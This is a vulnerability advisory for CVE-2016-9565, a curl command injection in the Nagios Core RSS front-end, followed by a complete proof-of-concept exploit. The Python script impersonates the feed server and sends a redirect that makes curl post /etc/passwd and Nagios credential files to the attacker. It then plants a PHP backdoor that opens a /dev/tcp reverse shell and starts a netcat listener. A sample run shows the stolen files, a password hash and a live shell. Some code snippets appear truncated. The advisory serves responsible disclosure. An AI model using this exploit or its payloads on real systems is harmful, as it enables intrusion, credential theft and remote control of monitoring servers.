__ __ __ __ __ / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ /____/ ============================================= - Discovered by: Dawid Golunski - dawid[at]legalhackers.com - https://legalhackers.com - CVE-2016-9565 - Release date: 13.12.2016 - Revision 2.0 - Severity: High / Critical ============================================= I. VULNERABILITY ------------------------- Nagios Core < 4.2.2 Curl Command Injection / Remote Code Execution II. BACKGROUND ------------------------- "Nagios Is The Industry Standard In IT Infrastructure Monitoring Achieve instant awareness of IT infrastructure problems, so downtime doesn't adversely affect your business. Nagios offers complete monitoring and alerting for servers, switches, applications, and services." https://www.nagios.org/ III. INTRODUCTION ------------------------- Nagios Core comes with a PHP/CGI front-end which allows to view status of the monitored hosts. This front-end contained a Command Injection vulnerability in a RSS feed reader class that loads (via insecure clear-text HTTP or HTTPS accepting self-signed certificates) the latest Nagios news from a remote RSS feed (located on the vendor's server on the Internet) upon log-in to the Nagios front-end. The vulnerability could potentially enable remote unauthenticated attackers who managed to impersonate the feed server (via DNS poisoning, domain hijacking, ARP spoofing etc.), to provide a malicious response that injects parameters to curl command used by the affected RSS client class and effectively read/write arbitrary files on the vulnerable Nagios server. This could lead to Remote Code Execution in the context of www-data/nagios user on default Nagios installs that follow the official setup guidelines. IV. DESCRIPTION ------------------------- Vulnerability ~~~~~~~~~~~~~~~ The vulnerability was caused by the use of a vulnerable component for handling RSS news feeds - MagpieRSS in Nagios Core control panel / front-end. The component was used by Nagios front-end to load news feeds from remote feed source upon log-in. The component was found vulnerable to CVE-2008-4796. Below are relevant parts of code from the vulnerable RSS class: ---------------------------------------------------- function fetch($URI) { ... case "https": ... $path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : ""); $this->_httpsrequest($path, $URI, $this->_httpmethod); ... } ... function _httpsrequest($url,$URI,$http_method,$content_type="",$body="") { # accept self-signed certs $cmdline_params .= " -k"; exec($this->curl_path." -D \"/tmp/$headerfile\"".escapeshellcmd($cmdline_params)." ".escapeshellcmd($URI),$results,$return); --------------------------------------------------------- As can be seen, the _httpsrequest function uses a curl command to handle HTTPS requests. The sanitization used to escape $URI did not prevent injection of additional parameters to curl command which made it possible to, for example, get curl to write out the https response to an arbitrary file with the $URI: https://attacker-svr -o /tmp/result_file The vulnerability was reported to Nagios security team. Nagios 4.2.0 was released which contained the following fix for CVE-2008-4796: --------------------------------------------------------- # accept self-signed certs $cmdline_params .= " -k"; exec($this->curl_path." -D \"/tmp/$headerfile\"".$cmdline_params." \"".escapeshellcmd($URI)."\"",$results,$return); --------------------------------------------------------- Further research found the fix to be incomplete as the extra sanitization by the above patch could be bypassed by adding extra quote characters in the $URI variable e.g: https://attacker-svr" -o /tmp/nagioshackedagain " This vulnerability has been assigned CVE-2016-9565 and was addressed by Nagios team in the new release of Nagios 4.2.2 by removing the vulnerable class. Injection Point / Controling $URI var ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The affected versions of Nagios Core front-end contain three files that trigger the _httpsrequest() function with the injectable curl command shown above: - rss-corefeed.php - rss-corebanner.php - rss-newsfeed.php These are used to fetch news via an RSS feed from www.nagios.org website via HTTP or HTTPS (see the notes below) protocols. The news are displayed on the Home page of the Nagios front-end upon log-in. All 3 scripts call fetch_rss() as follows: ------[ rss-corefeed.php ]------ "; foreach ($rss->items as $item){ $x++; if($x>3) break; //$href = $item['link']; //$title = $item['title']; $desc = $item['description']; $html .="
  • {$item['description']}
  • "; } $html .=""; print $html; -------------------------------- An attacker who managed to impersonate www.nagios.org domain and respond to the web request made by the fetch_rss() function could send a malicious 302 redirect to set $URI variable from the _httpsrequest() function to an arbitrary value and thus control the curl command parameters. For example, the following redirect: Location: https://attackers-host/get-data.php -Fpasswd=@/etc/passwd would execute curl with the parameters: curl -D /tmp/$headerfile https://attackers-host/get-data.php -Fpasswd=@/etc/passwd and send the contents of the pnsswd file from the Nagios system to the attacker's server in a POST request. Attack Vectors ~~~~~~~~~~~~~~~~~~ In order to supply a malicious response to fetch_rss() the attacker would need to impersonate the www.nagios.org domain in some way. Well-positioned attackers within the target's network could try network attacks such as DNS spoofing, ARP poisoning etc. A compromised DNS server/resolver within an organisation could be used by attackers to exploit the Nagios vulnerability to gain access to the monitoring server. The vulnerability could potentially become an Internet threat and be used to exploit a large number of affected Nagios installations in case of a compromise of a DNS server/resolver belonging to a large-scale ISP. Notes ~~~~~~~~~~~~~~~~~~ [*] Nagios front-end in versions <= 4.0.5 automatically load the rss-*.php files upon login to the Nagios control panel. Later versions contain the vulnerable scripts but do not load them automatically. On such installations an attacker could still be successful in one of the cases: a) if attacker had low-privileged access (guest/viewer account) to the control panel and was able to execute /nagios/rss-newsfeed.php script b) perform a CSRF attack / entice a logged-in nagios user to open the URL: http://nagios-server/nagios/rss-newsfeed.php c) well-positioned attackers on the network might be able to modify the traffic and inject a redirect to /rss-newsfeed.php script when Nagios control panel is accessed via HTTP by an authenticated user [*] The rss-*.php scripts in Nagios Core >=4.0.8 use HTTPS to fetch news feeds however as has been previously shown in _httpsrequest() function, the curl command gets passed a '-k' (--insecure) parameter which accepts self-signed certificates. Arbitrary Code Execution ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Nagios Core installations that follow the official installation guidelines: https://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf as well as the commercial Nagios VMs available for purchase on the vendor website make the web-server user (www-data) part of the 'nagios' group which has write access to the web document root (/usr/local/nagios/share). This can allow attackers who manage to exploit the vulnerability and inject parameters to curl command to save a PHP backdoor within the document root via a 302 redirect similar to: Location: http://attacker/php-backdoor.php --trace-ascii /usr/local/nagios/share/nagios-backdoor.php and have it executed automatically upon a log-in to the Nagios control panel via html/JS code snippet returned as a part of the RSS feed as demonstrated by the PoC exploit below. The privileges could then be raised from nagios user to root via another Nagios vulnerability discovered by the author of this advisory CVE-2016-9566: http://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html V. PROOF OF CONCEPT ------------------------- Below is an exploit that demonstrates reading, writing, and code execution on affected Nagios installations. The attack flow is as follows: For simplicity, to test the attack vector, a static DNS entry can be added inside the /etc/hosts file on the victim Nagios server to point the www.nagios.org domain at an attacker's IP where the exploit is executed. ----------[ nagios_cmd_injection.py ]---------- #!/usr/bin/env python intro = """\033[94m Nagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit CVE-2016-9565 nagios_cmd_injection.py ver. 1.0 Discovered & Coded by: Dawid Golunski https://legalhackers.com \033[0m """ usage = """ This PoC exploit can allow well-positioned attackers to extract and write arbitrary files on the Nagios server which can lead to arbitrary code execution on Nagios deployments that follow the official Nagios installation guidelines. For details, see the full advisory at: https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html PoC Video: https://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html Follow https://twitter.com/dawid_golunski for updates on this advisory. Remember you can turn the nagios shell into root shell via CVE-2016-9565: https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html Usage: ./nagios_cmd_injection.py reverse_shell_ip [reverse_shell_port] Disclaimer: For testing purposes only. Do no harm. """ import os import sys import time import re import tornado.httpserver import tornado.web import tornado.ioloop exploited = 0 docroot_rw = 0 class MainHandler(tornado.web.RequestHandler): def get(self): global exploited if (exploited == 1): self.finish() else: ua = self.request.headers['User-Agent'] if "Magpie" in ua: print "[+] Received GET request from Nagios server (%s) ! Sending redirect to inject our curl payload:\n" % self.request.remote_ip print '-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '\n' self.redirect('https://' + self.request.host + '/nagioshack -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path, permanent=False) exploited = 1 def post(self): global docroot_rw print "[+] Success, curl payload injected! Received data back from the Nagios server %s\n" % self.request.remote_ip # Extract /etc/passwd from the target passwd = self.request.files['passwd'][0]['body'] print "[*] Contents of /etc/passwd file from the target:\n\n%s" % passwd # Extract /usr/local/nagios/etc/htpasswd.users htauth = self.request.files['htauth'][0]['body'] print "[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\n\n%s" % htauth # Extract nagios group from /etc/group group = self.request.files['group'][0]['body'] for line in group.splitlines(): if "nagios:" in line: nagios_group = line print "[*] Retrieved nagios group line from /etc/group file on the target: %s\n" % nagios_group if "www-data" in nagios_group: print "[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\n" docroot_rw = 1 # Put backdoor PHP payload within the 'Server' response header so that it gets properly saved via the curl 'trace-ascii' # option. The output trace should contain an unwrapped line similar to: # # == Info: Server /dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'"); ?> is not blacklisted # # which will do the trick as it won't mess up the payload :) self.add_header('Server', backdoor) # Return XML/feed with JavaScript payload that will run the backdoor code from nagios-backdoor.php via tag :) print "[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) \n" self.write(xmldata) self.finish() tornado.ioloop.IOLoop.instance().stop() if __name__ == "__main__": global backdoor_path global backdoor print intro # Set attacker's external IP & port to be used by the reverse shell if len(sys.argv) < 2 : print usage sys.exit(2) attacker_ip = sys.argv[1] if len(sys.argv) == 3 : attacker_port = sys.argv[1] else: attacker_port = 8080 # PHP backdoor to be saved on the target Nagios server backdoor_path = '/usr/local/nagios/share/nagios-backdoor.php' backdoor = """/dev/tcp/%s/%s 0<&1 2>&1 &'"); die("stop processing"); ?>""" % (attacker_ip, attacker_port) # Feed XML containing JavaScript payload that will load the nagios-backdoor.php script global xmldata xmldata = """ Nagios feed with injected JS payload Item 1 <strong>Feed injected. Here we go </strong> - loading /nagios/nagios-backdoor.php now via img tag... check your netcat listener for nagios shell ;) <img src="/nagios/nagios-backdoor.php" onerror="alert('Reverse Shell /nagios/nagios-backdoor.php executed!')"> """ # Generate SSL cert print "[+] Generating SSL certificate for our python HTTPS web server \n" os.system("echo -e '\n\n\n\n\n\n\n\n\n' | openssl req -nodes -new -x509 -keyout server.key -out server.cert 2>/dev/null") print "[+] Starting the web server on ports 80 & 443 \n" application = tornado.web.Application([ (r'/.*', MainHandler) ]) application.listen(80) http_server = tornado.httpserver.HTTPServer( application, ssl_options = { "certfile": os.path.join("./", "server.cert"), "keyfile": os.path.join("./", "server.key"), } ) http_server.listen(443) print "[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)\n" tornado.ioloop.IOLoop.current().start() if (docroot_rw == 1): print "[+] PHP backdoor should have been saved in %s on the target by now!\n" % backdoor_path print "[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :)\n" os.system("nc -v -l -p 8080") print "\n[+] Shell closed\n" print "[+] That's all. Exiting\n" ----------------------------------------------- Video PoC ~~~~~~~~~~~~~ https://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html Example exploit run ~~~~~~~~~~~~~~~~~~~~~ root@xenial:~/nagios-exploit# ./nagios_cmd_injection.py 192.168.57.3 Nagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit CVE-2016-9565 nagios_cmd_injection.py ver. 1.0 Discovered & Coded by: Dawid Golunski https://legalhackers.com [+] Generating SSL certificate for our python HTTPS web server [+] Starting the web server on ports 80 & 443 [+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;) [+] Received GET request from Nagios server (192.168.57.4) ! Sending redirect to inject our curl payload: -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii /usr/local/nagios/share/nagios-backdoor.php [+] Success, curl payload injected! Received data back from the Nagios server 192.168.57.4 [*] Contents of /etc/passwd file from the target: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin nagios:x:1001:1001::/home/nagios:/bin/sh [..cut..] [*] Contents of /usr/local/nagios/etc/htpasswd.users file: nagiosadmin:$apr1$buzCfFb$GjV/ga6PHp53qePf0 [*] Retrieved nagios group line from /etc/group file on the target: nagios:x:1001:www-data [+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot) [*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) [+] PHP backdoor should have been saved in /usr/local/nagios/share/nagios-backdoor.php on the target by now! [*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :) Listening on [0.0.0.0] (family 0, port 8080) Connection from [192.168.57.4] port 8080 [tcp/http-alt] accepted (family 2, sport 38718) www-data@debjessie:/usr/local/nagios/share$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(nagios),1002(nagcmd) www-data@debjessie:/usr/local/nagios/share$ groups groups www-data nagios nagcmd www-data@debjessie:/usr/local/nagios/share$ cat nagios-backdoor.php [..cut..] == Info: Server /dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'"); die("stop processing"); ?> is not blacklisted [..cut..] www-data@debjessie:/usr/local/nagios/share$ ls -ld . ls -ld . drwxrwsr-x 16 nagios nagios 4096 Dec 9 20:00 . www-data@debjessie:/usr/local/nagios/share$ exit exit exit [+] Shell closed [+] That's all. Exiting VI. BUSINESS IMPACT ------------------------- Successfull exploitation of the vulnerability could allow remote attackers to extract sensitive data from the Nagios monitoring server as well as achieve arbitrary code execution as demonstrated by the exploit. The monitoring server is usually critical within an organisation as it often has remote access to all hosts within the network. For this reason a compromise could likely allow attackers to expand their access within the network to other internal servers. Corporate monitoring servers with a large number of connected hosts are often left unpatched due to their sensitive/central role on the network which increase the chances of exploitation. As explained in the description section, the vulnerability could be a threat coming from the Internet. If a major ISP / DNS, or nagios.org site itself was compromised, this could potentially allow attackers to exploit the vulnerability on multiple Nagios installations which retrieve RSS feeds automatically and the corporate firewall does not stop the egress traffic from the monitoring server. As a result, an attacker could potentially gain unauthorised access to affected Nagios installations without even knowing the target IP addresses and despite a lack of direct access to the target (blocked igress traffic on the firewall). VII. SYSTEMS AFFECTED ------------------------- Both of the Nagios Core stable branches 3.x and 4.x are affected. The vulnerability was disclosed responsibly to the vendor and was fully fixed in Nagios Core 4.2.2. Nagios Core versions <= 4.0.5 are at the highest risk as they are the easiest to exploit (automatically load the vulnerable scripts upon log-in to the Nagios control panel). VIII. SOLUTION ------------------------- Update to the latest Nagios Core release. IX. REFERENCES ------------------------- https://legalhackers.com This advisory (CVE-2016-9565) URL: https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html Root Privilege Escalation from nagios system user to root (CVE-2016-9566): https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html Video PoC: https://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html Exploit source code: https://legalhackers.com/exploits/CVE-2016-9565/nagios_cmd_injection.py https://www.nagios.org Nagios patch history: https://www.nagios.org/projects/nagios-core/history/4x/ MagpieRSS CVE-2008-4796: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4796 Nagios Core installation guide: https://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com https://legalhackers.com XI. REVISION HISTORY ------------------------- 13.12.2016 - Advisory released 14.12.2016 - Extended introduction XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.